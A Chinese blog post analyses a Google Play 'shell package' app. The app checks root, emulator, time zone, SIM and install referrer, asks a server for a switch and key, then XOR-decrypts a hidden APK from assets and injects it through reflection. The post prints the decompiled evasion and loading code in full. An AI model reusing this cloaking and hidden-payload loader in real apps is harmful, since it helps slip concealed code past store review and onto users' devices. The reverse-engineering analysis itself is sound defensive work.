Google马甲包之dex+B面apk方案

这里以一个最近上架的APP为例,讲解目前Google马甲包的常见技术方案。

上架时间:2026/4/28

APP链接:https://play.google.com/store/apps/details?id=com.gbt2uf8vd1.epf07sejvq

它的主要思路如下:

1.先通过ip和locale做第一道判断,如果通过,则解密并加载dex文件

2.在dex文件中,对时区,mcc,渠道来源,是否root等进行第2道判断

3.通过第2道判断后,才解压启动B面apk

dex解压后的路径位于:/data/user/0/com.gbt2uf8vd1.epf07sejvq/cache/izfsdcpr

dex主要完成的工作如下:
  • 本地先做一次 root/模拟器特征拦截。
  • 再把时区、归因、SIM 信息发给服务端。
  • 服务端返回开关值,决定 jinA 还是 jinB 。
  • 如果是 B,就用服务端给的 key 去 XOR 解密 assets/Bsdfafra.txt ,生成 apk,再通过反射动态加载运行。
详细的A/B判断流程
  • 启动入口在 nbqlocox.java , onCreate() 里直接 new T4W6IcG2LjRe 并调用 zdgpigbui3se(this) 。
  • 主控逻辑在 T4W6IcG2LjRe.java 。
  • 一进来先跑 Ycbmpoaph.jhsey0esva() ,这块是混淆/初始化垃圾代码,对 A/B 主判断不是核心。
  • 接着调用 qmrpmt.java 的 aqfhnc() 做环境拦截:
  • 查常见 su 路径
  • 执行 which su
  • 看 Build.TAGS 是否含 test-keys
  • 看系统指纹是否含 generic
  • 如果 qmrpmt.aqfhnc() 为 true ,代码直接走 goknbjakgjb() ,也就是回退到 A 面,不再继续服务端判定。
  • 如果本地检测通过,开始收集参数并发请求:
  • 时区偏移 shiQu
  • 安装归因 gy ,由 cgamydjb.java 取 InstallReferrer
  • SIM 国家码 simKa
  • 然后调用网络层访问固定地址,请求结果里重点看两个字段:
  • SKfjsadyN
  • LlNL4WWN
  • 判定规则很直接:
  • 如果 SKfjsadyN != “NVsjfhaw” :写入 jinA=true ,走 A 面
  • 如果 SKfjsadyN == “NVsjfhaw” :写入 jinB=true ,并把 LlNL4WWN 保存到 ppsqkgo ,然后进入 B 面加载流程
  • 这些状态都保存在 jxznc.java 对应的 SharedPreferences(“ps”) 里:
  • jinA
  • jinB
  • ppsqkgo
  • 进入 B 面后, T4W6IcG2LjRe.vkdjguqnngla() 会先确认:
  • jinB == true
  • ppsqkgo 不为空
  • 然后创建 Vsadfasdf.java :
  • 资源文件名固定是 Bsdfafra.txt
  • 解密 key 就是前面服务端下发并保存在 ppsqkgo 的值
  • 解密过程不是标准 unzip,而是“跳过头部 + XOR 解密”:
  • 先打开 assets/Bsdfafra.txt
  • 先跳过前 16 字节
  • 后续内容按 key 循环 XOR
  • 输出到 filesDir 下,并改成 .apk
  • 如果解密成功, T4W6IcG2LjRe.ukyypuulmp() 会动态加载这个 apk:
  • 反射拿到 BaseDexClassLoader.pathList
  • 调用 addDexPath(…) 把解出来的 apk 注入 ClassLoader
  • 再反射加载类 org.ureh.ufcqqqf.usvx.smhogdbu
  • 调它的方法 xjnynlrx(Activity) ,这就是 B 面入口
  • 任一步失败,都会回退 goknbjakgjb() ,也就是走 A 面。

另外,补充一下对VpsCheck和RootCheck的说明

  • VpsCheck.java 是模拟器/虚拟化检测类,它检查的内容包括:
  • Build.HARDWARE / MANUFACTURER / MODEL 是否含 virtual 、 qemu 、 vbox 、 vmware 、 kvm 、 xen
  • Build.FINGERPRINT / PRODUCT / BRAND 的模拟器特征
  • /proc/cpuinfo 里是否有 hypervisor
  • 某些系统文件里是否有虚拟化关键字
  • 但当前源码里没搜到它的调用点,所以它 没有实际参与现在这条 A/B 启动链 。
  • RootCheck.java 也是类似情况:实现了 root 检测,但当前主流程不用它,用的是 qmrpmt 。
    B 面 apk 解密/加载流程
下面是dex的部分源码

1. 模拟器检测

package org.ureh.ufcqqqf.usvx01;

import android.os.Build;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;

/* JADX INFO: loaded from: classes.dex */
public class VpsCheck {
    public static boolean isRunningOnVps() {
        return checkVirtualizationFeatures() || checkSystemProperties() || checkCpuInfo() || checkFileSystem();
    }

    private static boolean checkVirtualizationFeatures() {
        String[] strArr = {"virtual", "vbox", "qemu", "vmware", "kvm", "xen"};
        String lowerCase = Build.HARDWARE.toLowerCase();
        String lowerCase2 = Build.MANUFACTURER.toLowerCase();
        String lowerCase3 = Build.MODEL.toLowerCase();
        for (int i = 0; i < 6; i++) {
            String str = strArr[i];
            if (lowerCase.contains(str) || lowerCase2.contains(str) || lowerCase3.contains(str)) {
                return true;
            }
        }
        return false;
    }

    private static boolean checkSystemProperties() {
        return Build.FINGERPRINT.toLowerCase().contains("generic") || Build.PRODUCT.toLowerCase().contains("sdk") || Build.BRAND.toLowerCase().contains("google_sdk");
    }

    private static boolean checkCpuInfo() {
        String line;
        try {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("cat /proc/cpuinfo").getInputStream()));
            do {
                try {
                    line = bufferedReader.readLine();
                    if (line == null) {
                        bufferedReader.close();
                        return false;
                    }
                    if (line.toLowerCase().contains("hypervisor")) {
                        break;
                    }
                } finally {
                }
            } while (!line.toLowerCase().contains("virtual"));
            bufferedReader.close();
            return true;
        } catch (Exception unused) {
            return false;
        }
    }

    private static boolean checkFileSystem() {
        String[] strArr = {"/sys/class/dmi/id/product_name", "/sys/class/dmi/id/product_version", "/proc/version"};
        for (int i = 0; i < 3; i++) {
            File file = new File(strArr[i]);
            if (file.exists() && containsVirtualizationKeywords(file)) {
                return true;
            }
        }
        return false;
    }

    private static boolean containsVirtualizationKeywords(File file) {
        String[] strArr = {"virtual", "vmware", "qemu", "xen", "kvm"};
        try {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("cat " + file.getAbsolutePath()).getInputStream()));
            while (true) {
                try {
                    String line = bufferedReader.readLine();
                    if (line == null) {
                        bufferedReader.close();
                        break;
                    }
                    for (int i = 0; i < 5; i++) {
                        if (line.toLowerCase().contains(strArr[i])) {
                            bufferedReader.close();
                            return true;
                        }
                    }
                } finally {
                }
            }
        } catch (Exception unused) {
            return false;
        }
    }
}

2. root检测

package org.ureh.ufcqqqf.usvx01;

import android.os.Build;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;

/* JADX INFO: loaded from: classes.dex */
public class RootCheck {
    public static boolean isDeviceRooted() {
        return checkRootMethod1() || checkRootMethod2() || checkRootMethod3();
    }

    private static boolean checkRootMethod1() {
        String[] strArr = {"/system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su", "/system/bin/failsafe/su", "/data/local/su"};
        for (int i = 0; i < 9; i++) {
            if (new File(strArr[i]).exists()) {
                return true;
            }
        }
        return false;
    }

    private static boolean checkRootMethod2() {
        boolean z = false;
        Process processExec = null;
        try {
            processExec = Runtime.getRuntime().exec(new String[]{"which", "su"});
            String line = new BufferedReader(new InputStreamReader(processExec.getInputStream())).readLine();
            if (line != null) {
                if (!line.isEmpty()) {
                    z = true;
                }
            }
            if (processExec != null) {
                processExec.destroy();
            }
            return z;
        } catch (Exception unused) {
            if (processExec != null) {
                processExec.destroy();
            }
            return false;
        } catch (Throwable th) {
            if (processExec != null) {
                processExec.destroy();
            }
            throw th;
        }
    }

    private static boolean checkRootMethod3() throws Throwable {
        String str = Build.TAGS;
        if (str != null && str.contains("test-keys")) {
            return true;
        }
        try {
            String strExecuteCommand = executeCommand("getprop ro.build.fingerprint");
            if (strExecuteCommand != null) {
                return strExecuteCommand.contains("generic");
            }
            return false;
        } catch (Exception unused) {
            return false;
        }
    }

    private static String executeCommand(String str) throws Throwable {
        Throwable th;
        Process processExec;
        try {
            processExec = Runtime.getRuntime().exec(str);
        } catch (Exception unused) {
            processExec = null;
        } catch (Throwable th2) {
            th = th2;
            processExec = null;
        }
        try {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(processExec.getInputStream()));
            StringBuilder sb = new StringBuilder();
            while (true) {
                String line = bufferedReader.readLine();
                if (line == null) {
                    break;
                }
                sb.append(line).append("\n");
            }
            String strTrim = sb.toString().trim();
            if (processExec != null) {
                processExec.destroy();
            }
            return strTrim;
        } catch (Exception unused2) {
            if (processExec != null) {
                processExec.destroy();
            }
            return null;
        } catch (Throwable th3) {
            th = th3;
            if (processExec != null) {
                processExec.destroy();
            }
            throw th;
        }
    }
}

3. 获取并判断时区,sim卡信息,渠道安装来源等

package org.ureh.ufcqqqf.usvx01;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.widget.Toast;
import java.io.File;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.TimeZone;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import okhttp3.HttpUrl;
import org.json.JSONException;
import org.json.JSONObject;
import org.ureh.ufcqqqf.usvx01.cgamydjb;
import org.ureh.ufcqqqf.usvx01.wljz;

/* JADX INFO: loaded from: classes.dex */
public class T4W6IcG2LjRe {
    private static final String TAG = "lol-T4W6IcG2LjRe";
    public static String vsjgoyuqlgmavg = "Kshfyqosnv";
    private String gsimKa;
    private HashMap<String, Object> ldb;
    private String ppsqkgo;
    private Activity s_context;
    private double timeDiff;
    private String ukj = "https://www.wandawndwa.com/hrdxjl";
    private String fjpcebtx = "2vFBt2EUOBVSZC9l";
    private String yobhngtxqq = HttpUrl.FRAGMENT_ENCODE_SET;
    String hkgqottkgk = "dalvik.system.BaseDexClassLoader";
    String ykutjjcahw = "org.ureh.ufcqqqf.usvx.smhogdbu";
    String s_className_method = "xjnynlrx";
    private String fasgklqf = "LlNL4WWN";
    private String vagkfoiab = "SKfjsadyN";
    private String vasjgutla = "NVsjfhaw";
    private String bisogkayygl = "Bsdfafra.txt";
    private boolean isShowLog = false;
    private ExecutorService executorService = Executors.newSingleThreadExecutor();
    private String ksdjhfq = HttpUrl.FRAGMENT_ENCODE_SET;
    private String mvnhaowlfa = HttpUrl.FRAGMENT_ENCODE_SET;

    public void hzdx(boolean z) {
        this.isShowLog = z;
    }

    public void zdgpigbui3se(Activity activity) {
        this.s_context = activity;
        Ycbmpoaph.jhsey0esva(activity);
        if (qmrpmt.aqfhnc()) {
            Toast.makeText(activity, "debug", 0).show();
            goknbjakgjb();
            return;
        }
        this.ldb = new HashMap<>();
        ixkzbpzojhwoiok.fonvwn(this.isShowLog);
        double offset = ((double) TimeZone.getDefault().getOffset(System.currentTimeMillis())) / 3600000.0d;
        this.timeDiff = offset;
        this.ldb.put("shiQu", Double.valueOf(offset));
        cgamydjb.checkInstallReferrer(this.s_context, new cgamydjb.OnReferrerResultListener() { // from class: org.ureh.ufcqqqf.usvx01.T4W6IcG2LjRe.1
            @Override // org.ureh.ufcqqqf.usvx01.cgamydjb.OnReferrerResultListener
            public void onInstallReferrerResult(String str) {
                ixkzbpzojhwoiok.dexxgohstq("归因返回=====>" + str);
                T4W6IcG2LjRe.this.yobhngtxqq = str;
                T4W6IcG2LjRe.this.lfjgnvmclg();
            }
        });
    }

    /* JADX INFO: Access modifiers changed from: private */
    public void lfjgnvmclg() {
        this.ppsqkgo = jxznc.idwt(this.s_context, "ppsqkgo", HttpUrl.FRAGMENT_ENCODE_SET);
        ixkzbpzojhwoiok.dexxgohstq("start test native goToUrl--" + this.ppsqkgo.isEmpty() + "--" + this.fjpcebtx);
        this.ldb.put("gy", this.yobhngtxqq);
        if (this.ppsqkgo.isEmpty()) {
            try {
                Object systemService = this.s_context.getApplicationContext().getSystemService("phone");
                if (systemService != null) {
                    this.gsimKa = (String) systemService.getClass().getMethod("getSimCountryIso", new Class[0]).invoke(systemService, new Object[0]);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
            String str = this.gsimKa;
            if (str != null) {
                this.ldb.put("simKa", str.toLowerCase());
            }
            ixkzbpzojhwoiok.dexxgohstq("lol- ldb====>" + this.ldb.size());
            wljz.with(this.s_context).url(this.ukj).params(this.ldb).encrypt(this.fjpcebtx).cache(300000L).execute(new wljz.Callback() { // from class: org.ureh.ufcqqqf.usvx01.T4W6IcG2LjRe.2
                @Override // org.ureh.ufcqqqf.usvx01.wljz.Callback
                public void onResult(String str2) {
                    ixkzbpzojhwoiok.dexxgohstq(T4W6IcG2LjRe.TAG, "数据返回====>" + str2);
                    if (str2 == null || str2.equals("error")) {
                        T4W6IcG2LjRe.this.goknbjakgjb();
                        return;
                    }
                    try {
                        JSONObject jSONObject = new JSONObject(str2);
                        T4W6IcG2LjRe t4W6IcG2LjRe = T4W6IcG2LjRe.this;
                        t4W6IcG2LjRe.mvnhaowlfa = jSONObject.optString(t4W6IcG2LjRe.vagkfoiab);
                        T4W6IcG2LjRe t4W6IcG2LjRe2 = T4W6IcG2LjRe.this;
                        t4W6IcG2LjRe2.ksdjhfq = jSONObject.optString(t4W6IcG2LjRe2.fasgklqf);
                        if (!T4W6IcG2LjRe.this.vasjgutla.equals(T4W6IcG2LjRe.this.mvnhaowlfa)) {
                            jxznc.zztkbi(T4W6IcG2LjRe.this.s_context, "jinA", true);
                            T4W6IcG2LjRe.this.goknbjakgjb();
                            return;
                        }
                        jxznc.zztkbi(T4W6IcG2LjRe.this.s_context, "jinB", true);
                        if (!T4W6IcG2LjRe.this.ksdjhfq.isEmpty()) {
                            jxznc.ayfmkbwgef(T4W6IcG2LjRe.this.s_context, "ppsqkgo", T4W6IcG2LjRe.this.ksdjhfq);
                            T4W6IcG2LjRe t4W6IcG2LjRe3 = T4W6IcG2LjRe.this;
                            t4W6IcG2LjRe3.ppsqkgo = t4W6IcG2LjRe3.ksdjhfq;
                        }
                        T4W6IcG2LjRe.this.executorService.submit(new Runnable() { // from class: org.ureh.ufcqqqf.usvx01.T4W6IcG2LjRe.2.1
                            @Override // java.lang.Runnable
                            public void run() {
                                T4W6IcG2LjRe.this.vkdjguqnngla();
                            }
                        });
                    } catch (JSONException e2) {
                        ixkzbpzojhwoiok.dexxgohstq("http解析错误: ===>error=" + e2.getMessage());
                        T4W6IcG2LjRe.this.goknbjakgjb();
                    }
                }
            });
            return;
        }
        vkdjguqnngla();
    }

    public void goknbjakgjb() {
        try {
            this.s_context.startActivity(new Intent(this.s_context, Class.forName(this.s_context.getApplication().getPackageName() + "." + vsjgoyuqlgmavg)));
            this.s_context.finish();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    public void vkdjguqnngla() {
        ixkzbpzojhwoiok.dexxgohstq("====>" + this.ppsqkgo);
        ixkzbpzojhwoiok.dexxgohstq("=== 强制使用新版解密(无头部、txt格式)===");
        if (jxznc.amoryrzrtxihvu(this.s_context, "jinB", false)) {
            String str = this.ppsqkgo;
            if (str == null || str.isEmpty()) {
                ixkzbpzojhwoiok.jorztja("❌ 密钥为空,无法解密");
                goknbjakgjb();
                return;
            }
            Vsadfasdf vsadfasdf = new Vsadfasdf(this.s_context, this.bisogkayygl, this.ppsqkgo);
            if (vsadfasdf.VSDdsadgw()) {
                File file = new File(vsadfasdf.gsadkhqjalf());
                if (file.exists() && file.length() > 0) {
                    ixkzbpzojhwoiok.dexxgohstq("✅ 解密成功!文件有效!");
                    ukyypuulmp(file);
                    return;
                }
            }
            goknbjakgjb();
            return;
        }
        goknbjakgjb();
    }

    private void ukyypuulmp(File file) {
        try {
            file.setReadable(true, false);
            file.setWritable(false, false);
            Object objInvoke = Context.class.getMethod("getClassLoader", new Class[0]).invoke(this.s_context, new Object[0]);
            Field declaredField = Class.forName(this.hkgqottkgk).getDeclaredField("pathList");
            declaredField.setAccessible(true);
            Object obj = declaredField.get(objInvoke);
            obj.getClass().getMethod("addDexPath", String.class, File.class).invoke(obj, file.getAbsolutePath(), null);
            Class<?> cls = Class.forName(this.ykutjjcahw, true, this.s_context.getClassLoader());
            cls.getDeclaredMethod(this.s_className_method, Activity.class).invoke(cls.newInstance(), this.s_context);
        } catch (Throwable th) {
            ixkzbpzojhwoiok.jorztja("加载错误====>" + th.getMessage());
            goknbjakgjb();
        }
    }
}

发表评论